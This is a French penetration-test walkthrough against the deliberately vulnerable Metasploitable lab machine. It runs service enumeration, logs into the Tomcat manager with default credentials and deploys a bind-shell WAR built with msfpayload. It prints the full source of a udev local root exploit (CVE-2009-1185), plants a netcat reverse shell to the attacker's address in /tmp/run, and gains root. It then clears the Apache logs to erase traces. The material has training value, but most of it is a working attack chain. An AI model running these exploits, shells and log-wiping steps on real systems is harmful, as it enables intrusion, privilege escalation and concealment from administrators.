Démonstration



Pour cette petite démonstration je vais utiliser une distribution linux livecd faillible.
Pour ne pas faire trop compliqué j'ai décidé d'utiliser le livecd metasploitable,
crée spécialement pour l'apprentissage de l'utilisation de metasploit, cependant
nous allons faire ce test d'intrusion sans utiliser metasploit (juste msfpayload)


Collecte d'informations active:


Enumeration des Ports et Services:

root@St0rn:~# nmap -sS -sV -Pn 192.168.178.52

Starting Nmap 6.47 ( http://nmap.org ) at 2014-09-17 21:12 CEST
Nmap scan report for 192.168.178.52
Host is up (0.019s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.1
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:06:61:3E (Cadmus Computer Systems)
Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds


Nous pouvons voir pas mal de choses intéressantes sur ce scan nmap, notament:

- Serveur Samba
- Serveur MySQL
- Serveur PostgreSQL
- Apache Tomcat


Enumeration du serveur SMB:

root@St0rn:~# enum4linux 192.168.178.52
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Sep 17 21:14:17 2014
[...]
 =========================================== 
|    Share Enumeration on 192.168.178.52    |
 =========================================== 
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

	Server               Comment
	---------            -------
	METASPLOITABLE       metasploitable server (Samba 3.0.20-Debian)

	Workgroup            Master
	---------            -------
	WORKGROUP            METASPLOITABLE

[+] Attempting to map shares on 192.168.178.52
//192.168.178.52/print$	Mapping: DENIED, Listing: N/A
//192.168.178.52/tmp	Mapping: OK, Listing: OK
//192.168.178.52/opt	Mapping: DENIED, Listing: N/A
//192.168.178.52/IPC$	[E] Can't understand response:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.178.52/ADMIN$	Mapping: DENIED, Listing: N/A
[...]


Nous pouvons voir que la version de samba est 3.0.20 mais nous pouvons aussi constater que le serveur à le répertoire /tmp en partage
utilisable via une Null Session.
Essayons tout de suite de nous y connecter..

root@St0rn:~/exploit/linux# smbclient \\\\192.168.178.52\\tmp
Enter root's password: 
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> ls
  .                                   D        0  Wed Sep 17 21:57:20 2014
  ..                                 DR        0  Wed Apr 28 23:25:52 2010
  .ICE-unix                          DH        0  Wed Sep 17 20:24:20 2014
  .X11-unix                          DH        0  Wed Sep 17 20:24:20 2014
  4857.jsvc_up                        R        0  Wed Sep 17 20:27:39 2014

		56891 blocks of size 131072. 44955 blocks available
smb: \> 


Ça fonctionne, essayon toute suite de crée puis de supprimer un dossier

smb: \> mkdir test
smb: \> ls
  .                                   D        0  Wed Sep 17 21:58:11 2014
  ..                                 DR        0  Wed Apr 28 23:25:52 2010
  .ICE-unix                          DH        0  Wed Sep 17 20:24:20 2014
  .X11-unix                          DH        0  Wed Sep 17 20:24:20 2014
  4857.jsvc_up                        R        0  Wed Sep 17 20:27:39 2014
  test                                D        0  Wed Sep 17 21:58:11 2014

		56891 blocks of size 131072. 44955 blocks available
smb: \> rmdir test
smb: \> ls
  .                                   D        0  Wed Sep 17 21:58:15 2014
  ..                                 DR        0  Wed Apr 28 23:25:52 2010
  .ICE-unix                          DH        0  Wed Sep 17 20:24:20 2014
  .X11-unix                          DH        0  Wed Sep 17 20:24:20 2014
  4857.jsvc_up                        R        0  Wed Sep 17 20:27:39 2014

		56891 blocks of size 131072. 44955 blocks available
smb: \>


Sans avoir encore de réel porte d'entrée nous avons déjà un moyen de transférer des fichiers, ce qui nous aidera par la suite.
Nous avons également la possibilité de crée un symlink d'un dossier, mais dans notre cas, c'est inutile.

Recherche d'exploits:

Samba 3.0.20:

root@St0rn:~# searchsploit Samba 3.0.20
 Description                                                Path
--------------------------------------------------------- ----------------------------------
Samba < 3.0.20 - Remote Heap Overflow Exploit            | /linux/remote/7701.txt


Apache Tomcat 5.5:

root@St0rn:~# searchsploit tomcat manager
 Description                                                Path
--------------------------------------------------------- ----------------------------------
Apache Tomcat Manager Application Deployer Authenticated | /multiple/remote/16317.rb
Apache Tomcat <= 6.0.13 Host Manager Servlet Cross Site  | /multiple/remote/30495.html
Apache Tomcat Manager - Application Upload Authenticated | /multiple/remote/31433.rb


Exploitation:

Pour cette démonstration, je vais concentrer mon choix sur la faille de Tomcat, car je la trouve plus intéressante pour
une démonstration.

root@St0rn:~# iceweasel 192.168.178.52:8180




Comme nous savons que nous pouvons déployer des application via le manager de Tomcat, nous nous y rendons.
Nous tombons sur un htaccess qui nous demande un login et un password, vérifions via google s'il existe
des couple login:password par défaut.



On test tomcat:tomcat et on a accès au manager de tomcat.



On s'aperçoit que l'ont a la possibilité de déployer des fichier .war, heuresement msfpayload nous donne la possibilité
d'en générer.

root@St0rn:~# msfpayload linux/x86/shell_bind_tcp LPORT=1337 w > /root/Desktop/payloads/bind_shell.war
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell_bind_tcp
 Length: 78
Options: {"LPORT"=>"1337"}


Pour vérifier que notre "archive" est correcte et pour connaitre le nom (aléatoire) que msfpayload a donné au shell décompressons le.

root@St0rn:~# jar -xvf /root/Desktop/payloads/bind_shell.war
       créée: META-INF/
décompressée: META-INF/MANIFEST.MF
       créée: WEB-INF/
décompressée: WEB-INF/web.xml
décompressée: ypwxlrpzrmm.jsp
décompressée: fNLLzjkChFbrXxc.txt


Notre shell à donc pour nom "ypwxlrpzrmm.jsp", passons au déploiement de notre fichier war.



Et on valide



Maintenant on exécute le shell

root@St0rn:~# iceweasel 192.168.178.52:8180/bind_shell/ypwxlrpzrmm.jsp


On se connecte maintenant au port 1337.

root@St0rn:~# nc 192.168.178.52 1337
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)


Nous somme entrée, on va juste avant toute chose, lancer un petit onliner python pour avoir /bin/bash

root@St0rn:~# nc 192.168.178.52 1337
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$ 


Beaucoup mieux comme ça n'est-il pas?

Mais tout n'est pas terminé, nous avons accès au serveur en tant que tomcat55 et c'est le compte root que nous recherchons.
Nous devons trouver un moyen de le devenir et la première chose à faire est de trouver la version du kernel.

tomcat55@metasploitable:/$ uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
tomcat55@metasploitable:/$ 


Nous avons affaire à un noyau 2.6, cherchons encore un peu pour préciser la recherche d'un possible exploit.
Nous pouvons également afficher la liste des processus.

tomcat55@metasploitable:/$ ps -aux 
ps -aux
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
[...]
root      2623  0.0  0.2   2224   668 ?        S<s  14:23   0:03 /sbin/udevd --d
root      2918  0.0  0.0      0     0 ?        S<   14:23   0:00 [kpsmoused]
dhcp      3929  0.0  0.2   2436   544 ?        S<s  14:24   0:00 dhclient3 -e IF
root      4009  0.0  0.0      0     0 ?        S<   14:24   0:00 [kjournald]
root      4349  0.0  0.2   1716   516 tty4     Ss+  14:24   0:00 /sbin/getty 384
root      4350  0.0  0.2   1716   516 tty5     Ss+  14:24   0:00 /sbin/getty 384
root      4356  0.0  0.1   1716   508 tty2     Ss+  14:24   0:00 /sbin/getty 384
root      4357  0.0  0.2   1716   516 tty3     Ss+  14:24   0:00 /sbin/getty 384
root      4359  0.0  0.2   1716   512 tty6     Ss+  14:24   0:00 /sbin/getty 384
syslog    4398  0.0  0.2   1936   652 ?        Ss   14:24   0:00 /sbin/syslogd -
root      4417  0.0  0.2   1872   540 ?        S    14:24   0:00 /bin/dd bs 1 if
klog      4419  0.0  0.7   3152  2032 ?        Ss   14:24   0:01 /sbin/klogd -P
bind      4442  0.0  3.1  35668  8008 ?        Ssl  14:24   0:00 /usr/sbin/named
root      4464  0.0  0.4   5312  1024 ?        Ss   14:24   0:00 /usr/sbin/sshd
root      4520  0.0  0.2   1772   524 ?        S    14:24   0:00 /bin/sh /usr/bi
mysql     4562  0.1  6.7 127800 17172 ?        Sl   14:24   0:07 /usr/sbin/mysql
root      4563  0.0  0.2   1700   552 ?        S    14:24   0:00 logger -p daemo
postgres  4650  0.1  1.9  41324  5036 ?        S    14:24   0:06 /usr/lib/postgr
postgres  4653  0.0  0.5  41324  1376 ?        Ss   14:24   0:02 postgres: write
postgres  4654  0.0  0.4  41324  1188 ?        Ss   14:24   0:01 postgres: wal w
postgres  4655  0.0  0.5  41324  1380 ?        Ss   14:24   0:00 postgres: autov
postgres  4656  0.0  0.4  12644  1128 ?        Ss   14:24   0:00 postgres: stats
daemon    4676  0.0  0.1   2316   424 ?        SNs  14:24   0:00 distccd --daemo
daemon    4677  0.0  0.0   2316   216 ?        SN   14:24   0:00 distccd --daemo
daemon    4739  0.0  0.0   2316   216 ?        SN   14:24   0:00 distccd --daemo
root      4742  0.0  0.6   5396  1732 ?        Ss   14:24   0:00 /usr/lib/postfi
postfix   4747  0.0  0.6   5404  1652 ?        S    14:24   0:00 pickup -l -t fi
postfix   4748  0.0  0.6   5444  1688 ?        S    14:24   0:00 qmgr -l -t fifo
[...]
tomcat55  5190  0.1  0.9   3960  2472 ?        S    15:41   0:00 python -c impor
tomcat55  5191  0.0  0.6   3328  1752 pts/0    Ss   15:41   0:00 /bin/bash
tomcat55  5200  0.0  0.3   2364   924 pts/0    R+   15:46   0:00 ps -aux
tomcat55@metasploitable:/$ 



Nous voyons que plusieurs services sont lancés, commençons nos recherches par udevd et la version de notre kernel (2.6)

root@St0rn:~/exploit/linux# searchsploit linux 2.6 udev
 Description                                                Path
--------------------------------------------------------- ----------------------------------
Linux Kernel 2.6 - UDEV Local Privilege Escalation Explo | /linux/local/8478.sh
Linux Kernel 2.6 UDEV < 141 - Local Privilege Escalation | /linux/local/8572.c


Regardon un peu le code source de 8572.c afin de voir comment il fonctionne

root@St0rn:~/exploit/linux# cat $(locate /linux/local/8572.c)

/*
 * cve-2009-1185.c
 *
 * udev < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <[email protected]>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates 
 *   from kernel space, which allows local users to gain privileges by sending 
 *   a NETLINK message from user space.
 *
 * Notes:
 *   
 *   An alternate version of kcope's exploit.  This exploit leverages the 
 *   95-udev-late.rules functionality that is meant to run arbitrary commands 
 *   when a device is removed.  A bit cleaner and reliable as long as your 
 *   distro ships that rule file.
 *
 *   Tested on Gentoo, Intrepid, and Jaunty.
 *
 * Usage:
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, 
 *   usually is the udevd PID minus 1) as argv[1].
 *
 *   The exploit will execute /tmp/run as root so throw whatever payload you 
 *   want in there.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
	int sock;
	char *mp, *err;
	char message[4096];
	struct stat st;
	struct msghdr msg;
	struct iovec iovector;
	struct sockaddr_nl address;

	if (argc < 2) {
		err = "Pass the udevd netlink PID as an argument";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
	    (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
		err = "Required 95-udev-late.rules not found";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	if (stat("/tmp/run", &st) == -1) {
		err = "/tmp/run does not exist, please create it";
		printf("[-] Error: %s\n", err);
		exit(1);
	}
	system("chmod +x /tmp/run");

	memset(&address, 0, sizeof(address));
	address.nl_family = AF_NETLINK;
	address.nl_pid = atoi(argv[1]);
	address.nl_groups = 0;

	msg.msg_name = (void*)&address;
	msg.msg_namelen = sizeof(address);
	msg.msg_iov = &iovector;
	msg.msg_iovlen = 1;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &address, sizeof(address));

	mp = message;
	mp += sprintf(mp, "remove@/d") + 1;
	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
	mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
	mp += sprintf(mp, "TIMEOUT=10") + 1;
	mp += sprintf(mp, "ACTION=remove") +1;
	mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

	iovector.iov_base = (void*)message;
	iovector.iov_len = (int)(mp-message);

	sendmsg(sock, &msg, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-04-30]



Pour vous épargner les détails de traduction, nous devon crée un fichier run dans le repertoire /tmp et y placer une commande bash
que l'exploit va éxécuter et nous devons aussi lui donner le PID du processus udevd - 1

Nous compilons l'exploit

root@St0rn:~/exploit/linux# gcc $(locate /linux/local/8572.c) -o 8572



En ce qui concerne la commande bash, nous allons utiliser une simple back connexion via netcat en redirigeant les
I/O de /bin/sh

tomcat55@metasploitable:/$ cd /tmp         
cd /tmp
tomcat55@metasploitable:/tmp$ echo "#!/bin/sh" > run
echo "#!/bin/sh" > run
tomcat55@metasploitable:/tmp$ echo "nc 192.168.178.48 4444 -e /bin/sh" >> run
echo "nc 192.168.178.48 4444 -e /bin/sh" >> run
tomcat55@metasploitable:/tmp$ cat run
cat run
#!/bin/sh
nc 192.168.178.48 4444 -e /bin/sh


Maintenant nous allons exploiter la mise en partage du repertoire /tmp pour transférer notre exploit sur le serveur

smb: \> put 8572
putting file 8572 as \8572 (438,5 kb/s) (average 438,5 kb/s)


Il est maintenant sur le serveur, mais nous n'avons pas les droit d'exécution via notre shell

tomcat55@metasploitable:/tmp$ ls -l 8572
ls -l 8572
-rwxr--r-- 1 nobody nogroup 6735 Sep 17 16:00 8572


Pas de panique j'ai trouvé une parade, l'éxécution nous est interdit mais depuis notre Null Session nous pouvons éxécuter
un chmod 777 qui nous donnera la permission ici de copier l'exploit afin de pouvoir l'executer

Via la Null Session:

smb: \> chmod 777 8572


Retour a notre shell:
tomcat55@metasploitable:/tmp$ cp 8572 sploit
cp 8572 sploit
tomcat55@metasploitable:/tmp$ ls -l sploit
ls -l sploit
-rwxr--r-- 1 tomcat55 nogroup 6735 Sep 17 16:04 sploit


Nous avons maintenant les droits sur le fichier.
Mais avant de l'éxécuter il nous faut le PID de udev (on y soustrait -1 comme dit en commentaire dans le code source)

tomcat55@metasploitable:/tmp$ ps -aux | grep udevd
ps -aux | grep udevd
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
root      2623  0.0  0.2   2224   668 ?        S<s  14:23   0:03 /sbin/udevd --daemon
tomcat55  5238  0.0  0.2   1788   580 pts/0    S+   16:05   0:00 grep udevd


Le PID de udevd est 2623 on à donc en y retirant -1 2622.

Préparons nous à recevoir la connexion

root@St0rn:~/exploit/linux# nc -lvp 4444
listening on [any] 4444 ...


Lançons maintenant notre exploit et voyant si nous avons un /bin/sh avec les droits root
tomcat55@metasploitable:/tmp$ ./sploit 2622
./sploit 2622


Retournont voir du côté de netcat

root@St0rn:~/exploit/linux# nc -lvp 4444
listening on [any] 4444 ...
192.168.178.52: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.178.48] from (UNKNOWN) [192.168.178.52] 41453
python -c 'import pty;pty.spawn("/bin/bash")'
root@metasploitable:/# id
id
uid=0(root) gid=0(root)
root@metasploitable:/# 


Nous avons maintenant un accès root et avons compromis completement la machine

Maintient d'accés:

Nous n'allons pas, ici, faire de maintient d'accès vu que la machine vulnérable est un live cd.


Nettoyage des traces:

Commençons par effacer toute trace de nos programmes

root@metasploitable:/# cd /tmp
cd /tmp
root@metasploitable:/tmp# rm *
rm *
root@metasploitable:/tmp# ls
ls


Nous somme passé par un site, il serait de bon ton de supprimer les logs apache

root@metasploitable:/var/log/apache2# ls
ls
access.log  error.log  error.log.1

root@metasploitable:/var/log/apache2# cat access.log
cat access.log
[...]
192.168.178.48 - - [17/Sep/2014:12:00:58 -0400] "GET / HTTP/1.0" 200 45 "-" "-"
192.168.178.48 - - [17/Sep/2014:12:31:50 -0400] "GET / HTTP/1.1" 200 45 "-" "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0"
192.168.178.48 - - [17/Sep/2014:12:31:51 -0400] "GET /favicon.ico HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0"
192.168.178.48 - - [17/Sep/2014:12:31:51 -0400] "GET /favicon.ico HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0"
192.168.178.48 - - [17/Sep/2014:15:10:20 -0400] "GET / HTTP/1.0" 200 45 "-" "-"


Comme vous pouvez le remarquer, nous somme lister dans le fichier access.log, on le vide

root@metasploitable:/var/log/apache2# echo " " > access.log
echo " " > access.log
root@metasploitable:/var/log/apache2# cat access.log
cat access.log

root@metasploitable:/var/log/apache2# cat error.log
cat error.log
[...]
[Wed Sep 17 12:31:51 2014] [error] [client 192.168.178.48] File does not exist: /var/www/favicon.ico
[Wed Sep 17 12:31:51 2014] [error] [client 192.168.178.48] File does not exist: /var/www/favicon.ico
[...]


Nous somme également lister dans error.log

root@metasploitable:/var/log/apache2# echo " " > error.log
echo " " > error.log
root@metasploitable:/var/log/apache2# echo " " > error.log.1
echo " " > error.log.1


Cette petite démonstration est terminé, j'éspére qu'elle aura su vous montré comment nous pouvont éxécuter un test de penetration
complet d'une machine.